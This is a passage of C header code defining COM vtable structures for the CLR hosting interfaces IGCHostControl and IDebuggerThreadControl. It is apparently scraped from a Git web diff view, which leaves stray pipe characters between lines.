HRESULT(STDMETHODCALLTYPE* RequestVirtualMemLimit)(
|
||||
IGCHostControl* This,
|
||||
/* [in] */ SIZE_T sztMaxVirtualMemMB,
|
||||
/* [out][in] */ SIZE_T* psztNewMaxVirtualMemMB);
|
||||
|
||||
END_INTERFACE
|
||||
} IGCHostControlVtbl;
|
||||
|
||||
typedef struct _IGCHostControl
|
||||
{
|
||||
IGCHostControlVtbl* lpVtbl;
|
||||
} IGCHostControl;
|
||||
|
||||
typedef struct IDebuggerThreadControlVtbl
|
||||
{
|
||||
BEGIN_INTERFACE
|
||||
|
||||
HRESULT(STDMETHODCALLTYPE* QueryInterface)(
|
||||
IDebuggerThreadControl* This,
|
||||
/* [in] */ REFIID riid,
|
||||
/* [iid_is][out] */
|
||||
__RPC__deref_out void** ppvObject);
|
||||
|
||||
ULONG(STDMETHODCALLTYPE* AddRef)(
|
||||
IDebuggerThreadControl* This);
|
||||
|
||||
ULONG(STDMETHODCALLTYPE* Release)(
|
||||
IDebuggerThreadControl* This);
|
||||
|
||||
HRESULT(STDMETHODCALLTYPE* ThreadIsBlockingForDebugger)(
|
||||
IDebuggerThreadControl* This);
|
||||
|
||||
HRESULT(STDMETHODCALLTYPE* ReleaseAllRuntimeThreads)(
|
||||
IDebuggerThreadControl* This);
|
||||
|
||||
HRESULT(STDMETHODCALLTYPE* StartBlockingForDebugger)(
|
||||
IDebuggerThreadControl* This,
|
||||
DWORD dwUnused);
|
||||
|
||||
END_INTERFACE
|
||||
} IDebuggerThreadControlVtbl;
|
||||
|
||||
typedef struct _IDebuggerThreadControl {
|
||||
IDebuggerThreadControlVtbl* lpVtbl;
|
||||
} IDebuggerThreadControl;
|
||||
Reference in New Issue
Block a user